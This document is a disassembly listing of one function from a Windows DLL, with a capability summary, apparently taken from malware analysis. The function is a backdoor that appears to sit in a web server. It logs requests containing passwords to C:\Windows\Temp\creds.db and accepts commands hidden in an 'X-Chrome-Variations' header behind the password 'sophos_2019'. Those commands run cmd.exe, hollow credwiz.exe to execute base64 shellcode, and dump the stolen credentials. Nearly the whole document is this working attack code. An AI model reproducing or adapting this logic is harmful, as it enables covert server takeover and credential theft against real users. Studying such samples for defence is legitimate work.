Function at 0x1800018f0
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Decode data using base64 via winapi
Encode data using base64 via winapi
Execute shellcode via indirect call
Read file on windows
Resume thread
Use process replacement
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1040]
mov eax, 0x1140
call fcn.180011b40
sub rsp, rax
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rbp + 0x1030], rax
mov rax, qword [rdx]
mov rcx, rdx
mov r15, rdx
call qword [rax + 0x18]
mov rdx, qword [r15]
mov rcx, r15
mov rdi, rax
call qword [rdx + 0x20]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov r13, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rbp - 0x68], 0x400
xor ebx, ebx
mov r10, qword [rdi]
mov rsi, rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rbx
mov rdx, rsi
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x400
mov rcx, rdi
call qword [r10 + 0x80]
lea r14, [rbx - 1]
test eax, eax
jne 0x180001ab3
lea rdx, str.password
mov rcx, rsi
call fcn.1800031c8
test rax, rax
je 0x180001ab3
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, 0x800
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movzx ecx, word [rbp - 0x6c]
mov rbx, rax
movzx edx, word [rbp - 0x6e]
movzx r8d, word [rbp - 0x70]
movzx r10d, word [rbp - 0x78]
movzx r11d, word [rbp - 0x76]
movzx r9d, word [rbp - 0x72]
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x40], ecx
mov rcx, rax
mov dword [rsp + 0x38], edx
mov edx, 0x800
mov dword [rsp + 0x30], r8d
lea r8, str._02d__02d__04d__02d:_02d:_02d___s_r_n
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.180001820
xor eax, eax
lea r8d, [r14 + 2]
mov qword [rsp + 0x30], rax
lea rcx, str.C:WindowsTempcreds.db
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9d, [r14 + 3]
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
mov r8, r14
mov dword [rsp + 0x7c], eax
inc r8
cmp byte [rbx + r8], al
jne 0x180001a75
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x800
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov word [rbp - 0x80], bx
lea r8, [rbp - 0x80]
mov rax, qword [rdi]
lea rdx, str.X_Frame_pwd
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x1800020a4
mov rdx, rax
lea rcx, str.sophos_2019
call fcn.180011dd0
test eax, eax
jne 0x1800020a4
mov edx, 0x9c40
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov rsi, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov word [rsp + 0x50], bx
lea r8, [rsp + 0x50]
mov r9, qword [rdi]
lea rdx, str.X_Chrome_Variations
mov rcx, rdi
mov r12, rax
call qword [r9 + 0x18]
test rax, rax
je 0x18000207c
movzx edx, word [rsp + 0x50]
mov rcx, r15
mov r8, qword [r15]
inc edx
call qword [r8 + 0x90]
mov rax, qword [rdi]
lea r8, [rsp + 0x50]
lea rdx, str.X_Chrome_Variations
mov rcx, rdi
call qword [rax + 0x18]
mov r8, qword [r15]
mov edx, 5
mov rcx, r15
mov rbx, rax
call qword [r8 + 0x90]
mov ecx, dword [rbx]
lea r15, [rbx + 4]
mov rdi, rax
mov dword [rsp + 0x28], 4
mov r9d, 4
mov r8, rdi
mov dword [rax], ecx
xor edx, edx
lea rax, str.CMD
mov ecx, 0x800
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001d63
xor edi, edi
mov dword [rsp + 0x60], 0x18
xor r9d, r9d
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x60]
mov qword [rbp - 0x78], rdi
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x68], rdi
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
lea r8d, [rdi + 0x54]
lea rcx, [rbp - 0x3c]
call fcn.180003840
mov rax, qword [rbp - 0x78]
lea r9d, [rdi + 4]
or dword [rbp - 4], 0x100
mov edx, 0x104
mov qword [rbp + 0x20], rax
xor ecx, ecx
mov qword [rbp + 0x18], rax
mov r8d, 0x3000
xor eax, eax
mov dword [rbp - 0x40], 0x68
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, r15
lea r8, str._c__s
mov rcx, rax
mov edx, 0x104
mov rbx, rax
call fcn.180001820
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windows_system32cmd.exe
lea rax, [rbp - 0x40]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x104
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x78]
mov r8d, 0x1000
mov dword [rsp + 0x78], edi
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x20], rdi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x180001d53
nop dword [rax + rax]
mov ecx, ebx
add ebx, eax
add rcx, rsi
cmp ebx, 0x9c40
jae 0x180001d53
mov r8d, eax
lea rdx, [rbp + 0x30]
call fcn.180004160
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x1000
call fcn.180003840
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x78]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x78]
test eax, eax
jne 0x180001d00
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002022
lea rax, str.PIN
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001d9d
mov dword [rsi], 0x474e4f50
jmp 0x180002020
lea rax, str.INJ
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
xor edx, edx
cmp eax, 2
jne 0x180001f37
lea r8d, [rdx + 0x64]
lea rcx, [rbp - 0x3c]
call fcn.180003840
xor eax, eax
mov dword [rbp - 0x40], 0x68
mov qword [rsp + 0x60], rax
lea rcx, str.C:WindowsSystem32credwiz.exe
mov qword [rsp + 0x68], rax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x9c40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov rbx, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [rsp + 0x78], 0x1000
mov rdi, rax
mov rcx, r15
xor eax, eax
mov r9, rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 1]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rcx, qword [rsp + 0x60]
xor eax, eax
mov qword [rbp - 0x78], rax
mov r9d, 0x9c40
lea rax, [rbp - 0x78]
mov r8, rdi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x30]
mov dword [rbp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x128], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsi], 0x454e4f44
jmp 0x180002020
lea rax, str.DMP
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, rdi
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001ff6
xor edi, edi
lea r8d, [rax - 1]
mov qword [rsp + 0x30], rdi
lea rcx, str.C:WindowsTempcreds.db
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x78], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, 0x9c40
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x78], edi
jne 0x180002022
movsd xmm0, qword [str.No_Creds_Found]
movsd qword [rsi], xmm0
mov eax, dword [0x18001b6c0]
mov dword [rsi + 8], eax
movzx eax, word [0x18001b6c4]
mov word [rsi + 0xc], ax
movzx eax, byte [0x18001b6c6]
mov byte [rsi + 0xe], al
jmp 0x180002022
movsd xmm0, qword [str.INVALID_COMMAND]
movsd qword [rsi], xmm0
mov eax, dword [0x18001b738]
mov dword [rsi + 8], eax
movzx eax, word [0x18001b73c]
mov word [rsi + 0xc], ax
movzx eax, byte [0x18001b73e]
mov byte [rsi + 0xe], al
xor edi, edi
mov dword [rsp + 0x7c], 0x9c40
nop word [rax + rax]
inc r14
cmp byte [rsi + r14], 0
jne 0x180002030
lea rax, [rsp + 0x7c]
mov rdx, r14
mov r9, r12
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test rsi, rsi
je 0x18000207c
mov rax, qword [r13]
lea rdx, str.X_Chrome_Variations
movzx r9d, word [rsp + 0x7c]
mov r8, r12
mov rcx, r13
mov dword [rsp + 0x20], edi
call qword [rax + 0x28]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp + 0x1030]
xor rcx, rsp
call fcn.1800020f0
lea r11, [rsp + 0x1140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret